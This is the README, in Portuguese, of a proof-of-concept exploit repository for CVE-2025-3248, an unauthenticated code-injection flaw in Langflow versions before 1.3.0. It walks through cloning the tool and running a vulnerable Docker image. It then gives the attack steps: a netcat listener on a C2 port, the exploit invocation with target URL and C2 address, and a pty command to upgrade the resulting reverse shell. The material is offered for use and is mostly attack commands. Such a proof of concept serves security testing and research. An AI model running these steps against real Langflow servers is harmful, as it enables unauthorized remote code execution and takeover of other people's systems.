wand3rlust/cve-2025-3248PoC para alcançar RCE em Langflow versões <1.3.0
As versões do Langflow anteriores à 1.3.0 são suscetíveis a injeção de código não autenticada no endpoint /api/v1/validate/code por meio da função Python exec(). Este exploit estabelece uma conexão de reverse shell abusando desta vulnerabilidade.
git clone https://github.com/wand3rlust/CVE-2025-3248.git
cd CVE-2025-3248/
python3 -m venv venv
. venv/bin/activate
pip install -r requirements.txt
docker pull langflowai/langflow:1.1.4
docker run -p 7860:7860 langflowai/langflow:1.1.4
# Terminal 1
nc -nvlp <C2_PORT>
# Terminal 2
python3 cve-2025-3248.py <TARGET_URL> <C2_IP> <C2_PORT>
Ex.: python3 cve-2025-3248.py http://10.10.10.1:7860 10.0.13.37 1337
NOTA: Para atualizar o shell para TTY, execute o comando abaixo após obter o shell.
python -c 'import pty; pty.spawn("/bin/bash")'
